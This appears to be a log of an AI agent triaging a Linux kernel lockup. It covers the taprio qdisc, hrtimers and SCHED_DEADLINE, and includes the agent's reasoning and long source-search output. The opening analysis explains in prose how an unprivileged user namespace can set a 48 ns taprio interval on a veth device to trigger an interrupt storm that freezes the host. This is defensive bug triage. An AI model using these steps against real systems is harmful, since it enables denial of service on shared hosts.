2. **Interrupt Storm (User Namespace method):** An attacker can configure `taprio` with a very small `interval`. The minimum allowed `interval` is calculated based on the network device's speed. For a 10 Gbps device like `veth`, the minimum interval is 48 nanoseconds. If `interval` is set to 48 ns, `advance_sched()` will advance `end_time` by 48 ns per iteration. Since executing the interrupt handler takes longer than 48 ns, `end_time` will always be in the past when the interrupt handler finishes. This causes the hardware timer to fire immediately and continuously, resulting in an interrupt storm that completely locks up the CPU.

### Security Dimensions
* **Exploitable:** **False**. The bug is a logic error resulting in an infinite loop or interrupt storm. It does not cause memory corruption (like use-after-free or out-of-bounds access) and cannot be exploited for privilege escalation.
* **Denial Of Service:** **True**. The bug causes a hard lockup and RCU stalls, completely freezing the affected CPU and leading to a system crash or panic.
* **Accessible From Unprivileged Processes:** **False**. Configuring network qdiscs (like `taprio`) requires `CAP_NET_ADMIN` capabilities, which a standard unprivileged process does not have.
* **Accessible From User Namespaces:** **True**. An unprivileged user can create a new user namespace and network namespace. Within this sandbox, they obtain `CAP_NET_ADMIN` over the namespace's network devices. They can then create a `veth` pair (which defaults to 10 Gbps) and attach the `taprio` qdisc with a 48 ns interval, immediately triggering the interrupt storm and crashing the host system.
* **VM Guest Trigger:** **True**. A user inside a VM can trigger this bug to crash the guest kernel.
* **VM Host Trigger in The Confidential Computing Context:** **False**. This is a bug in the network scheduler and does not involve host-guest interaction or paravirtualized device escapes.
* **Ethernet Network Trigger:** **False**. The bug is triggered by configuring the qdisc via netlink sockets, not by processing ingress network traffic.
* **Other Remote Trigger:** **False**.
* **Peripheral Trigger:** **False**.
* **Malicious Filesystem Trigger:** **False**.

gemini-3.1-pro-preview

							input: 19806
							output: 19
							thoughts: 110
						

**Analyzing a Timing-Sensitive Kernel Bug**

Okay, so I've got two reports to look into, and they seem related, which is interesting. First, there's this `sched: DL replenish lagged too much` message, which always piques my interest when dealing with real-time scheduling. Then, we have the RCU stall report, specifically "rcu: INFO: rcu_preempt detected stalls." Stall reports are never fun, as they can indicate serious performance bottlenecks or even deadlocks.

The fact that these two are happening together gives me a hunch that they are related, or at least sharing a root cause. Let me trace the first backtrace... Hmm, this `sched` warning is tied to a backtrace that goes through `__hrtimer_run_queues` all the way down to `_raw_spin_lock_irq` and further into the kernel lock mechanism...Specifically `lock_acquire` and then `__lock_acquire`. That certainly narrows down the problem space to lock contention within the high-resolution timer queue processing. So I'll go ahead and search for the specific "DL replenish lagged too much" warning, and see if I can find further reports or existing analyses. It seems likely that the timer issues are somehow triggering or being exacerbated by the RCU stalls.

map[Expression:DL replenish lagged too much]

map[Output:kernel/sched/deadline.c=806=static void replenish_dl_entity(struct sched_dl_entity *dl_se)
--
kernel/sched/deadline.c-852-	if (dl_time_before(dl_se->deadline, rq_clock(rq))) {
kernel/sched/deadline.c:853:		printk_deferred_once("sched: DL replenish lagged too much\n");
kernel/sched/deadline.c-854-		replenish_dl_new_period(dl_se, rq);
]

gemini-3.1-pro-preview

							input: 20351
							output: 16
							thoughts: 139
						

Here's my thought process, as if I were analyzing this code:

**Analyzing the Reproduction Steps of a Potential Issue**

Okay, the warning's originating within `replenish_dl_entity`. That narrows down the search considerably. The reproducer seems to involve a fairly standard sequence of network operations, but with a potential twist. First, they create a raw packet socket using `AF_PACKET`, `SOCK_RAW`, and a protocol of zero. Then, they obtain the interface index for "team0" using `ioctl` and `SIOCGIFINDEX`. Then they create a netlink socket with `AF_NETLINK` and `NETLINK_ROUTE`. Now, they're sending an `RTM_NEWQDISC` message using `sendmsg` to that netlink socket to set up a `taprio` qdisc. And, finally, a `clock_adjtime` call is made.

The `taprio` qdisc is the key here... hang on, `taprio` makes use of high-resolution timers, hrtimers. Now, that's an interesting combination of technologies that often need careful synchronization. I bet there's some kind of subtle timing issue. It's time to dive into the `taprio` code directly and look for any potential concurrency problems, resource contention, or timing bugs that might be related to the netlink interaction and clock adjustments. Let's see how those hrtimers are being managed in this context.

map[Expression:taprio]

map[Output:
Full output is too long, showing 500 out of 2510 lines.
Use more precise expression if possible.

[Documentation/netlink/specs/tc.yaml=1456=attribute-sets:
 --
 Documentation/netlink/specs/tc.yaml-3569-  -
 Documentation/netlink/specs/tc.yaml:3570:    name: taprio-attrs
 Documentation/netlink/specs/tc.yaml:3571:    name-prefix: tca-taprio-attr-
 Documentation/netlink/specs/tc.yaml-3572-    attributes:
 --
 Documentation/netlink/specs/tc.yaml-3579-        type: nest
 Documentation/netlink/specs/tc.yaml:3580:        nested-attributes: taprio-sched-entry-list
 Documentation/netlink/specs/tc.yaml-3581-      -
 --
 Documentation/netlink/specs/tc.yaml-3586-        type: nest
 Documentation/netlink/specs/tc.yaml:3587:        nested-attributes: taprio-sched-entry
 Documentation/netlink/specs/tc.yaml-3588-      -
 --
 Documentation/netlink/specs/tc.yaml-3611-        type: nest
 Documentation/netlink/specs/tc.yaml:3612:        nested-attributes: taprio-tc-entry-attrs
 Documentation/netlink/specs/tc.yaml-3613-  -
 Documentation/netlink/specs/tc.yaml:3614:    name: taprio-sched-entry-list
 Documentation/netlink/specs/tc.yaml:3615:    name-prefix: tca-taprio-sched-
 Documentation/netlink/specs/tc.yaml-3616-    attributes:
 --
 Documentation/netlink/specs/tc.yaml-3619-        type: nest
 Documentation/netlink/specs/tc.yaml:3620:        nested-attributes: taprio-sched-entry
 Documentation/netlink/specs/tc.yaml-3621-        multi-attr: true
 Documentation/netlink/specs/tc.yaml-3622-  -
 Documentation/netlink/specs/tc.yaml:3623:    name: taprio-sched-entry
 Documentation/netlink/specs/tc.yaml:3624:    name-prefix: tca-taprio-sched-entry-
 Documentation/netlink/specs/tc.yaml-3625-    attributes:
 --
 Documentation/netlink/specs/tc.yaml-3638-  -
 Documentation/netlink/specs/tc.yaml:3639:    name: taprio-tc-entry-attrs
 Documentation/netlink/specs/tc.yaml:3640:    name-prefix: tca-taprio-tc-entry-
 Documentation/netlink/specs/tc.yaml-3641-    attributes:
 --
 Documentation/netlink/specs/tc.yaml=3819=sub-messages:
 --
 Documentation/netlink/specs/tc.yaml-3941-      -
 Documentation/netlink/specs/tc.yaml:3942:        value: taprio
 Documentation/netlink/specs/tc.yaml:3943:        attribute-set: taprio-attrs
 Documentation/netlink/specs/tc.yaml-3944-      -
 --
 Documentation/networking/dsa/sja1105.rst=105=gate-open event in the network schedule.
 Documentation/networking/dsa/sja1105.rst-106-
 Documentation/networking/dsa/sja1105.rst:107:This capability can be managed through the tc-taprio offload ('flags 2'). The
 Documentation/networking/dsa/sja1105.rst:108:difference compared to the software implementation of taprio is that the latter
 Documentation/networking/dsa/sja1105.rst-109-would only be able to shape traffic originated from the CPU, but not
 --
 Documentation/networking/dsa/sja1105.rst=136=and the gates for all other traffic classes are open for 400 us::
 --
 Documentation/networking/dsa/sja1105.rst-164-
 Documentation/networking/dsa/sja1105.rst:165:  tc qdisc add dev swp5 parent root handle 100 taprio \
 Documentation/networking/dsa/sja1105.rst-166-          num_tc 8 \
 --
 Documentation/networking/dsa/sja1105.rst-173-
 Documentation/networking/dsa/sja1105.rst:174:It is possible to apply the tc-taprio offload on multiple egress ports. There
 Documentation/networking/dsa/sja1105.rst-175-are hardware restrictions related to the fact that no gate event may trigger
 --
 Documentation/networking/dsa/sja1105.rst=234=follow along.
 Documentation/networking/dsa/sja1105.rst-235-
 Documentation/networking/dsa/sja1105.rst:236:Example: create a tc-taprio schedule that is phase-aligned with a tc-gate
 Documentation/networking/dsa/sja1105.rst-237-schedule (the clocks must be synchronized by a 1588 application stack, which is
 --
 Documentation/networking/dsa/sja1105.rst=257=Sender::
 --
 Documentation/networking/dsa/sja1105.rst-262-          echo "base time ${base_time}"
 Documentation/networking/dsa/sja1105.rst:263:  tc qdisc add dev eno0 parent root taprio \
 Documentation/networking/dsa/sja1105.rst-264-          num_tc 8 \
 --
 Documentation/networking/dsa/sja1105.rst=272=The engine used to schedule the ingress gate operations is the same that the
 Documentation/networking/dsa/sja1105.rst:273:one used for the tc-taprio offload. Therefore, the restrictions regarding the
 Documentation/networking/dsa/sja1105.rst:274:fact that no two gate actions (either tc-gate or tc-taprio gates) may fire at
 Documentation/networking/dsa/sja1105.rst-275-the same time (during the same 200 ns slot) still apply.
 --
 MAINTAINERS=5626=F:	net/sched/sch_etf.c
 MAINTAINERS:5627:F:	net/sched/sch_taprio.c
 MAINTAINERS-5628-
 --
 drivers/net/dsa/hirschmann/hellcreek.c=1540=static void hellcreek_setup_maxsdu(struct hellcreek *hellcreek, int port,
 drivers/net/dsa/hirschmann/hellcreek.c:1541:				   const struct tc_taprio_qopt_offload *schedule)
 drivers/net/dsa/hirschmann/hellcreek.c-1542-{
 --
 drivers/net/dsa/hirschmann/hellcreek.c=1579=static void hellcreek_setup_gcl(struct hellcreek *hellcreek, int port,
 drivers/net/dsa/hirschmann/hellcreek.c:1580:				const struct tc_taprio_qopt_offload *schedule)
 drivers/net/dsa/hirschmann/hellcreek.c-1581-{
 drivers/net/dsa/hirschmann/hellcreek.c:1582:	const struct tc_taprio_sched_entry *cur, *initial, *next;
 drivers/net/dsa/hirschmann/hellcreek.c-1583-	size_t i;
 --
 drivers/net/dsa/hirschmann/hellcreek.c=1626=static void hellcreek_set_cycle_time(struct hellcreek *hellcreek,
 drivers/net/dsa/hirschmann/hellcreek.c:1627:				     const struct tc_taprio_qopt_offload *schedule)
 drivers/net/dsa/hirschmann/hellcreek.c-1628-{
 --
 drivers/net/dsa/hirschmann/hellcreek.c=1673=static void hellcreek_start_schedule(struct hellcreek *hellcreek, int port)
 --
 drivers/net/dsa/hirschmann/hellcreek.c-1702-
 drivers/net/dsa/hirschmann/hellcreek.c:1703:	taprio_offload_free(hellcreek_port->current_schedule);
 drivers/net/dsa/hirschmann/hellcreek.c-1704-	hellcreek_port->current_schedule = NULL;
 --
 drivers/net/dsa/hirschmann/hellcreek.c=1738=static int hellcreek_port_set_schedule(struct dsa_switch *ds, int port,
 drivers/net/dsa/hirschmann/hellcreek.c:1739:				       struct tc_taprio_qopt_offload *taprio)
 drivers/net/dsa/hirschmann/hellcreek.c-1740-{
 --
 drivers/net/dsa/hirschmann/hellcreek.c-1756-	if (hellcreek_port->current_schedule) {
 drivers/net/dsa/hirschmann/hellcreek.c:1757:		taprio_offload_free(hellcreek_port->current_schedule);
 drivers/net/dsa/hirschmann/hellcreek.c-1758-		hellcreek_port->current_schedule = NULL;
 drivers/net/dsa/hirschmann/hellcreek.c-1759-	}
 drivers/net/dsa/hirschmann/hellcreek.c:1760:	hellcreek_port->current_schedule = taprio_offload_get(taprio);
 drivers/net/dsa/hirschmann/hellcreek.c-1761-
 --
 drivers/net/dsa/hirschmann/hellcreek.c=1798=static int hellcreek_port_del_schedule(struct dsa_switch *ds, int port)
 --
 drivers/net/dsa/hirschmann/hellcreek.c-1812-	if (hellcreek_port->current_schedule) {
 drivers/net/dsa/hirschmann/hellcreek.c:1813:		taprio_offload_free(hellcreek_port->current_schedule);
 drivers/net/dsa/hirschmann/hellcreek.c-1814-		hellcreek_port->current_schedule = NULL;
 --
 drivers/net/dsa/hirschmann/hellcreek.c=1832=static bool hellcreek_validate_schedule(struct hellcreek *hellcreek,
 drivers/net/dsa/hirschmann/hellcreek.c:1833:					struct tc_taprio_qopt_offload *schedule)
 drivers/net/dsa/hirschmann/hellcreek.c-1834-{
 --
 drivers/net/dsa/hirschmann/hellcreek.c=1857=static int hellcreek_tc_query_caps(struct tc_query_caps_base *base)
 --
 drivers/net/dsa/hirschmann/hellcreek.c-1860-	case TC_SETUP_QDISC_TAPRIO: {
 drivers/net/dsa/hirschmann/hellcreek.c:1861:		struct tc_taprio_caps *caps = base->caps;
 drivers/net/dsa/hirschmann/hellcreek.c-1862-
 --
 drivers/net/dsa/hirschmann/hellcreek.c=1872=static int hellcreek_port_setup_tc(struct dsa_switch *ds, int port,
 --
 drivers/net/dsa/hirschmann/hellcreek.c-1880-	case TC_SETUP_QDISC_TAPRIO: {
 drivers/net/dsa/hirschmann/hellcreek.c:1881:		struct tc_taprio_qopt_offload *taprio = type_data;
 drivers/net/dsa/hirschmann/hellcreek.c-1882-
 drivers/net/dsa/hirschmann/hellcreek.c:1883:		switch (taprio->cmd) {
 drivers/net/dsa/hirschmann/hellcreek.c-1884-		case TAPRIO_CMD_REPLACE:
 drivers/net/dsa/hirschmann/hellcreek.c:1885:			if (!hellcreek_validate_schedule(hellcreek, taprio))
 drivers/net/dsa/hirschmann/hellcreek.c-1886-				return -EOPNOTSUPP;
 drivers/net/dsa/hirschmann/hellcreek.c-1887-
 drivers/net/dsa/hirschmann/hellcreek.c:1888:			return hellcreek_port_set_schedule(ds, port, taprio);
 drivers/net/dsa/hirschmann/hellcreek.c-1889-		case TAPRIO_CMD_DESTROY:
 --
 drivers/net/dsa/hirschmann/hellcreek.h=250=struct hellcreek_port {
 --
 drivers/net/dsa/hirschmann/hellcreek.h-260-	/* Per-port Qbv schedule information */
 drivers/net/dsa/hirschmann/hellcreek.h:261:	struct tc_taprio_qopt_offload *current_schedule;
 drivers/net/dsa/hirschmann/hellcreek.h-262-	struct delayed_work schedule_work;
 --
 drivers/net/dsa/ocelot/felix.c=1929=static int felix_change_mtu(struct dsa_switch *ds, int port, int new_mtu)
 --
 drivers/net/dsa/ocelot/felix.c-1937-
 drivers/net/dsa/ocelot/felix.c:1938:	if (ocelot_port->taprio && ocelot->ops->tas_guard_bands_update)
 drivers/net/dsa/ocelot/felix.c-1939-		ocelot->ops->tas_guard_bands_update(ocelot, port);
 --
 drivers/net/dsa/ocelot/felix_vsc9959.c=1072=static u64 vsc9959_tas_remaining_gate_len_ps(u64 gate_len_ns)
 --
 drivers/net/dsa/ocelot/felix_vsc9959.c-1084-/* Extract shortest continuous gate open intervals in ns for each traffic class
 drivers/net/dsa/ocelot/felix_vsc9959.c:1085: * of a cyclic tc-taprio schedule. If a gate is always open, the duration is
 drivers/net/dsa/ocelot/felix_vsc9959.c-1086- * considered U64_MAX. If the gate is always closed, it is considered 0.
 drivers/net/dsa/ocelot/felix_vsc9959.c-1087- */
 drivers/net/dsa/ocelot/felix_vsc9959.c:1088:static void vsc9959_tas_min_gate_lengths(struct tc_taprio_qopt_offload *taprio,
 drivers/net/dsa/ocelot/felix_vsc9959.c-1089-					 u64 min_gate_len[OCELOT_NUM_TC])
 drivers/net/dsa/ocelot/felix_vsc9959.c-1090-{
 drivers/net/dsa/ocelot/felix_vsc9959.c:1091:	struct tc_taprio_sched_entry *entry;
 drivers/net/dsa/ocelot/felix_vsc9959.c-1092-	u64 gate_len[OCELOT_NUM_TC];
 --
 drivers/net/dsa/ocelot/felix_vsc9959.c-1101-
 drivers/net/dsa/ocelot/felix_vsc9959.c:1102:	/* If we don't have taprio, consider all gates as permanently open */
 drivers/net/dsa/ocelot/felix_vsc9959.c:1103:	if (!taprio)
 drivers/net/dsa/ocelot/felix_vsc9959.c-1104-		return;
 drivers/net/dsa/ocelot/felix_vsc9959.c-1105-
 drivers/net/dsa/ocelot/felix_vsc9959.c:1106:	n = taprio->num_entries;
 drivers/net/dsa/ocelot/felix_vsc9959.c-1107-
 --
 drivers/net/dsa/ocelot/felix_vsc9959.c-1115-	for (i = 0; i < 2 * n; i++) {
 drivers/net/dsa/ocelot/felix_vsc9959.c:1116:		entry = &taprio->entries[i % n];
 drivers/net/dsa/ocelot/felix_vsc9959.c-1117-
 --
 drivers/net/dsa/ocelot/felix_vsc9959.c=1188=static u32 vsc9959_port_qmaxsdu_get(struct ocelot *ocelot, int port, int tc)
 --
 drivers/net/dsa/ocelot/felix_vsc9959.c-1203-
 drivers/net/dsa/ocelot/felix_vsc9959.c:1204:static u32 vsc9959_tas_tc_max_sdu(struct tc_taprio_qopt_offload *taprio, int tc)
 drivers/net/dsa/ocelot/felix_vsc9959.c-1205-{
 drivers/net/dsa/ocelot/felix_vsc9959.c:1206:	if (!taprio || !taprio->max_sdu[tc])
 drivers/net/dsa/ocelot/felix_vsc9959.c-1207-		return 0;
 drivers/net/dsa/ocelot/felix_vsc9959.c-1208-
 drivers/net/dsa/ocelot/felix_vsc9959.c:1209:	return taprio->max_sdu[tc] + ETH_HLEN + 2 * VLAN_HLEN + ETH_FCS_LEN;
 drivers/net/dsa/ocelot/felix_vsc9959.c-1210-}
 --
 drivers/net/dsa/ocelot/felix_vsc9959.c=1218=static void vsc9959_tas_guard_bands_update(struct ocelot *ocelot, int port)
 --
 drivers/net/dsa/ocelot/felix_vsc9959.c-1221-	struct ocelot_mm_state *mm = &ocelot->mm[port];
 drivers/net/dsa/ocelot/felix_vsc9959.c:1222:	struct tc_taprio_qopt_offload *taprio;
 drivers/net/dsa/ocelot/felix_vsc9959.c-1223-	u64 min_gate_len[OCELOT_NUM_TC];
 --
 drivers/net/dsa/ocelot/felix_vsc9959.c-1232-
 drivers/net/dsa/ocelot/felix_vsc9959.c:1233:	taprio = ocelot_port->taprio;
 drivers/net/dsa/ocelot/felix_vsc9959.c-1234-
 --
 drivers/net/dsa/ocelot/felix_vsc9959.c-1279-
 drivers/net/dsa/ocelot/felix_vsc9959.c:1280:	vsc9959_tas_min_gate_lengths(taprio, min_gate_len);
 drivers/net/dsa/ocelot/felix_vsc9959.c-1281-
 drivers/net/dsa/ocelot/felix_vsc9959.c-1282-	for (tc = 0; tc < OCELOT_NUM_TC; tc++) {
 drivers/net/dsa/ocelot/felix_vsc9959.c:1283:		u32 requested_max_sdu = vsc9959_tas_tc_max_sdu(taprio, tc);
 drivers/net/dsa/ocelot/felix_vsc9959.c-1284-		u64 remaining_gate_len_ps;
 --
 drivers/net/dsa/ocelot/felix_vsc9959.c=1349=static void vsc9959_sched_speed_set(struct ocelot *ocelot, int port,
 --
 drivers/net/dsa/ocelot/felix_vsc9959.c-1379-
 drivers/net/dsa/ocelot/felix_vsc9959.c:1380:	if (ocelot_port->taprio)
 drivers/net/dsa/ocelot/felix_vsc9959.c-1381-		vsc9959_tas_guard_bands_update(ocelot, port);
 --
 drivers/net/dsa/ocelot/felix_vsc9959.c=1413=static void vsc9959_tas_gcl_set(struct ocelot *ocelot, const u32 gcl_ix,
 drivers/net/dsa/ocelot/felix_vsc9959.c:1414:				struct tc_taprio_sched_entry *entry)
 drivers/net/dsa/ocelot/felix_vsc9959.c-1415-{
 --
 drivers/net/dsa/ocelot/felix_vsc9959.c=1423=static int vsc9959_qos_port_tas_set(struct ocelot *ocelot, int port,
 drivers/net/dsa/ocelot/felix_vsc9959.c:1424:				    struct tc_taprio_qopt_offload *taprio)
 drivers/net/dsa/ocelot/felix_vsc9959.c-1425-{
 --
 drivers/net/dsa/ocelot/felix_vsc9959.c-1432-
 drivers/net/dsa/ocelot/felix_vsc9959.c:1433:	if (taprio->cmd == TAPRIO_CMD_DESTROY) {
 drivers/net/dsa/ocelot/felix_vsc9959.c:1434:		ocelot_port_mqprio(ocelot, port, &taprio->mqprio);
 drivers/net/dsa/ocelot/felix_vsc9959.c-1435-		ocelot_rmw_rix(ocelot, 0, QSYS_TAG_CONFIG_ENABLE,
 --
 drivers/net/dsa/ocelot/felix_vsc9959.c-1437-
 drivers/net/dsa/ocelot/felix_vsc9959.c:1438:		taprio_offload_free(ocelot_port->taprio);
 drivers/net/dsa/ocelot/felix_vsc9959.c:1439:		ocelot_port->taprio = NULL;
 drivers/net/dsa/ocelot/felix_vsc9959.c-1440-
 --
 drivers/net/dsa/ocelot/felix_vsc9959.c-1444-		return 0;
 drivers/net/dsa/ocelot/felix_vsc9959.c:1445:	} else if (taprio->cmd != TAPRIO_CMD_REPLACE) {
 drivers/net/dsa/ocelot/felix_vsc9959.c-1446-		ret = -EOPNOTSUPP;
 --
 drivers/net/dsa/ocelot/felix_vsc9959.c-1449-
 drivers/net/dsa/ocelot/felix_vsc9959.c:1450:	ret = ocelot_port_mqprio(ocelot, port, &taprio->mqprio);
 drivers/net/dsa/ocelot/felix_vsc9959.c-1451-	if (ret)
 --
 drivers/net/dsa/ocelot/felix_vsc9959.c-1453-
 drivers/net/dsa/ocelot/felix_vsc9959.c:1454:	if (taprio->cycle_time > NSEC_PER_SEC ||
 drivers/net/dsa/ocelot/felix_vsc9959.c:1455:	    taprio->cycle_time_extension >= NSEC_PER_SEC) {
 drivers/net/dsa/ocelot/felix_vsc9959.c-1456-		ret = -EINVAL;
 --
 drivers/net/dsa/ocelot/felix_vsc9959.c-1459-
 drivers/net/dsa/ocelot/felix_vsc9959.c:1460:	if (taprio->num_entries > VSC9959_TAS_GCL_ENTRY_MAX) {
 drivers/net/dsa/ocelot/felix_vsc9959.c-1461-		ret = -ERANGE;
 --
 drivers/net/dsa/ocelot/felix_vsc9959.c-1500-
 drivers/net/dsa/ocelot/felix_vsc9959.c:1501:	vsc9959_new_base_time(ocelot, taprio->base_time,
 drivers/net/dsa/ocelot/felix_vsc9959.c:1502:			      taprio->cycle_time, &base_ts);
 drivers/net/dsa/ocelot/felix_vsc9959.c-1503-	ocelot_write(ocelot, base_ts.tv_nsec, QSYS_PARAM_CFG_REG_1);
 --
 drivers/net/dsa/ocelot/felix_vsc9959.c-1507-		     QSYS_PARAM_CFG_REG_3_BASE_TIME_SEC_MSB(val) |
 drivers/net/dsa/ocelot/felix_vsc9959.c:1508:		     QSYS_PARAM_CFG_REG_3_LIST_LENGTH(taprio->num_entries),
 drivers/net/dsa/ocelot/felix_vsc9959.c-1509-		     QSYS_PARAM_CFG_REG_3);
 drivers/net/dsa/ocelot/felix_vsc9959.c:1510:	ocelot_write(ocelot, taprio->cycle_time, QSYS_PARAM_CFG_REG_4);
 drivers/net/dsa/ocelot/felix_vsc9959.c:1511:	ocelot_write(ocelot, taprio->cycle_time_extension, QSYS_PARAM_CFG_REG_5);
 drivers/net/dsa/ocelot/felix_vsc9959.c-1512-
 drivers/net/dsa/ocelot/felix_vsc9959.c:1513:	for (i = 0; i < taprio->num_entries; i++)
 drivers/net/dsa/ocelot/felix_vsc9959.c:1514:		vsc9959_tas_gcl_set(ocelot, i, &taprio->entries[i]);
 drivers/net/dsa/ocelot/felix_vsc9959.c-1515-
 --
 drivers/net/dsa/ocelot/felix_vsc9959.c-1525-
 drivers/net/dsa/ocelot/felix_vsc9959.c:1526:	ocelot_port->taprio = taprio_offload_get(taprio);
 drivers/net/dsa/ocelot/felix_vsc9959.c-1527-	vsc9959_tas_guard_bands_update(ocelot, port);
 --
 drivers/net/dsa/ocelot/felix_vsc9959.c-1533-err_reset_tc:
 drivers/net/dsa/ocelot/felix_vsc9959.c:1534:	taprio->mqprio.qopt.num_tc = 0;
 drivers/net/dsa/ocelot/felix_vsc9959.c:1535:	ocelot_port_mqprio(ocelot, port, &taprio->mqprio);
 drivers/net/dsa/ocelot/felix_vsc9959.c-1536-err_unlock:
 --
 drivers/net/dsa/ocelot/felix_vsc9959.c=1542=static void vsc9959_tas_clock_adjust(struct ocelot *ocelot)
 drivers/net/dsa/ocelot/felix_vsc9959.c-1543-{
 drivers/net/dsa/ocelot/felix_vsc9959.c:1544:	struct tc_taprio_qopt_offload *taprio;
 drivers/net/dsa/ocelot/felix_vsc9959.c-1545-	struct ocelot_port *ocelot_port;
 --
 drivers/net/dsa/ocelot/felix_vsc9959.c-1553-		ocelot_port = ocelot->ports[port];
 drivers/net/dsa/ocelot/felix_vsc9959.c:1554:		taprio = ocelot_port->taprio;
 drivers/net/dsa/ocelot/felix_vsc9959.c:1555:		if (!taprio)
 drivers/net/dsa/ocelot/felix_vsc9959.c-1556-			continue;
 --
 drivers/net/dsa/ocelot/felix_vsc9959.c-1566-
 drivers/net/dsa/ocelot/felix_vsc9959.c:1567:		vsc9959_new_base_time(ocelot, taprio->base_time,
 drivers/net/dsa/ocelot/felix_vsc9959.c:1568:				      taprio->cycle_time, &base_ts);
 drivers/net/dsa/ocelot/felix_vsc9959.c-1569-
 --
 drivers/net/dsa/ocelot/felix_vsc9959.c-1578-
 drivers/net/dsa/ocelot/felix_vsc9959.c:1579:		for (i = 0; i < taprio->num_entries; i++)
 drivers/net/dsa/ocelot/felix_vsc9959.c:1580:			vsc9959_tas_gcl_set(ocelot, i, &taprio->entries[i]);
 drivers/net/dsa/ocelot/felix_vsc9959.c-1581-
 --
 drivers/net/dsa/ocelot/felix_vsc9959.c=1640=static int vsc9959_qos_query_caps(struct tc_query_caps_base *base)
 --
 drivers/net/dsa/ocelot/felix_vsc9959.c-1650-	case TC_SETUP_QDISC_TAPRIO: {
 drivers/net/dsa/ocelot/felix_vsc9959.c:1651:		struct tc_taprio_caps *caps = base->caps;
 drivers/net/dsa/ocelot/felix_vsc9959.c-1652-
 --
 drivers/net/dsa/sja1105/sja1105_main.c=2819=static int sja1105_port_setup_tc(struct dsa_switch *ds, int port,
 --
 drivers/net/dsa/sja1105/sja1105_main.c-2824-	case TC_SETUP_QDISC_TAPRIO:
 drivers/net/dsa/sja1105/sja1105_main.c:2825:		return sja1105_setup_tc_taprio(ds, port, type_data);
 drivers/net/dsa/sja1105/sja1105_main.c-2826-	case TC_SETUP_QDISC_CBS:
 --
 drivers/net/dsa/sja1105/sja1105_tas.c=17=static int sja1105_tas_set_runtime_params(struct sja1105_private *priv)
 --
 drivers/net/dsa/sja1105/sja1105_tas.c-30-	for (port = 0; port < ds->num_ports; port++) {
 drivers/net/dsa/sja1105/sja1105_tas.c:31:		const struct tc_taprio_qopt_offload *offload;
 drivers/net/dsa/sja1105/sja1105_tas.c-32-
 --
 drivers/net/dsa/sja1105/sja1105_tas.c=158=int sja1105_init_scheduling(struct sja1105_private *priv)
 --
 drivers/net/dsa/sja1105/sja1105_tas.c-273-	for (port = 0; port < ds->num_ports; port++) {
 drivers/net/dsa/sja1105/sja1105_tas.c:274:		const struct tc_taprio_qopt_offload *offload;
 drivers/net/dsa/sja1105/sja1105_tas.c-275-		/* Relative base time */
 --
 drivers/net/dsa/sja1105/sja1105_tas.c=383=sja1105_tas_check_conflicts(struct sja1105_private *priv, int port,
 drivers/net/dsa/sja1105/sja1105_tas.c:384:			    const struct tc_taprio_qopt_offload *admin)
 drivers/net/dsa/sja1105/sja1105_tas.c-385-{
 drivers/net/dsa/sja1105/sja1105_tas.c-386-	struct sja1105_tas_data *tas_data = &priv->tas_data;
 drivers/net/dsa/sja1105/sja1105_tas.c:387:	const struct tc_taprio_qopt_offload *offload;
 drivers/net/dsa/sja1105/sja1105_tas.c-388-	s64 max_cycle_time, min_cycle_time;
 --
 drivers/net/dsa/sja1105/sja1105_tas.c-460-
 drivers/net/dsa/sja1105/sja1105_tas.c:461:/* Check the tc-taprio configuration on @port for conflicts with the tc-gate
 drivers/net/dsa/sja1105/sja1105_tas.c-462- * global subschedule. If @port is -1, check it against all ports.
 drivers/net/dsa/sja1105/sja1105_tas.c-463- * To reuse the sja1105_tas_check_conflicts logic without refactoring it,
 drivers/net/dsa/sja1105/sja1105_tas.c:464: * convert the gating configuration to a dummy tc-taprio offload structure.
 drivers/net/dsa/sja1105/sja1105_tas.c-465- */
 drivers/net/dsa/sja1105/sja1105_tas.c=466=bool sja1105_gating_check_conflicts(struct sja1105_private *priv, int port,
 --
 drivers/net/dsa/sja1105/sja1105_tas.c-470-	size_t num_entries = gating_cfg->num_entries;
 drivers/net/dsa/sja1105/sja1105_tas.c:471:	struct tc_taprio_qopt_offload *dummy;
 drivers/net/dsa/sja1105/sja1105_tas.c-472-	struct dsa_switch *ds = priv->ds;
 --
 drivers/net/dsa/sja1105/sja1105_tas.c-508-
 drivers/net/dsa/sja1105/sja1105_tas.c:509:int sja1105_setup_tc_taprio(struct dsa_switch *ds, int port,
 drivers/net/dsa/sja1105/sja1105_tas.c:510:			    struct tc_taprio_qopt_offload *admin)
 drivers/net/dsa/sja1105/sja1105_tas.c-511-{
 --
 drivers/net/dsa/sja1105/sja1105_tas.c-523-	if (admin->cmd == TAPRIO_CMD_DESTROY) {
 drivers/net/dsa/sja1105/sja1105_tas.c:524:		taprio_offload_free(tas_data->offload[port]);
 drivers/net/dsa/sja1105/sja1105_tas.c-525-		tas_data->offload[port] = NULL;
 --
 drivers/net/dsa/sja1105/sja1105_tas.c-574-
 drivers/net/dsa/sja1105/sja1105_tas.c:575:	tas_data->offload[port] = taprio_offload_get(admin);
 drivers/net/dsa/sja1105/sja1105_tas.c-576-
 --
 drivers/net/dsa/sja1105/sja1105_tas.c=885=void sja1105_tas_teardown(struct dsa_switch *ds)
 --
 drivers/net/dsa/sja1105/sja1105_tas.c-887-	struct sja1105_private *priv = ds->priv;
 drivers/net/dsa/sja1105/sja1105_tas.c:888:	struct tc_taprio_qopt_offload *offload;
 drivers/net/dsa/sja1105/sja1105_tas.c-889-	int port;
 --
 drivers/net/dsa/sja1105/sja1105_tas.c-897-
 drivers/net/dsa/sja1105/sja1105_tas.c:898:		taprio_offload_free(offload);
 drivers/net/dsa/sja1105/sja1105_tas.c-899-	}
 --
 drivers/net/dsa/sja1105/sja1105_tas.h=41=struct sja1105_tas_data {
 drivers/net/dsa/sja1105/sja1105_tas.h:42:	struct tc_taprio_qopt_offload *offload[SJA1105_MAX_NUM_PORTS];
 drivers/net/dsa/sja1105/sja1105_tas.h-43-	struct sja1105_gating_config gating_cfg;
 --
 drivers/net/dsa/sja1105/sja1105_tas.h-52-
 drivers/net/dsa/sja1105/sja1105_tas.h:53:int sja1105_setup_tc_taprio(struct dsa_switch *ds, int port,
 drivers/net/dsa/sja1105/sja1105_tas.h:54:			    struct tc_taprio_qopt_offload *admin);
 drivers/net/dsa/sja1105/sja1105_tas.h-55-
 --
 drivers/net/dsa/sja1105/sja1105_tas.h=72=struct sja1105_tas_data {
 --
 drivers/net/dsa/sja1105/sja1105_tas.h-75-
 drivers/net/dsa/sja1105/sja1105_tas.h:76:static inline int sja1105_setup_tc_taprio(struct dsa_switch *ds, int port,
